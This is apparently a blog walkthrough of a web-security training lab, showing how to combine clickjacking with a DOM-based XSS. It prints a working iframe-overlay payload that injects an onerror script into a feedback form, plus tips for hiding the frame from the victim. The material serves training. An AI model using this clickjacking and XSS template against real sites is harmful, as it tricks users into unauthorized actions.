Introduction to Exploiting clickjacking vulnerability to trigger DOM-based XSS
Exploiting clickjacking vulnerability is exploited to trigger DOM-based XSS, a web security attack where an attacker manipulates a user’s click on a disguised element, leading to unauthorized actions and data theft. To prevent DOM-based XSS, web developers should implement robust input validation and output encoding practices, as well as defensive measures like frame-busting techniques and X-Frame-Options headers. Prioritizing web security, conducting regular assessments, and addressing both vulnerabilities can protect web applications and ensure a safe browsing experience for users.
Lab Solutions | Practical Work Time
This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the “Click me” button to call the print()
function.
Stepwise Solution of the lab:-
After accessing this lab, without any further ado, We will jump on real process.
Click on Go to exploit server
After clicking on Go to exploit server scroll down a little bit. Now paste the below payload into the body section.
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe
src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
First of all, let me remind you to understand the overview of this lab. You need some basic knowledge of HTML iframe tag & CSS. Now what I did is replace YOUR-LAB-ID.web-security-academy.net/feedback to my LAB link in feedback section. And according to my screen, I set the width and height also the top & left. So yeah you may ask why we do this and what’s the logic of it, Right? So actually the logic is victim will never understand what will happen to him.
Click on Store and view exploit.
I positioned Test me on Submit feedback. Well, so the victim would never understand. For more fooling the victim we can lower the opacity to 0.0001 instead of 0.1.
Return to the exploit server and change “Test me” to “Click me”.Then click on Deliver exploit to victim.
BOOM! We’ve solved this lab successfully.
Be ready for its other parts 🙂
So Guys welcome to the next topic i.e. Clickjacking, Now as you have started it complete the above topic which is exploiting clickjacking vulnerability to trigger DOM-based XSS, after completing this topic then move to the next topic i.e. Clickjacking With A Frame Buster Script. Please follow us for more details & Good Luck!
Thank you for reading, if this article really helps you then do share it with your mates.
And follow @masaudsec on Twitter.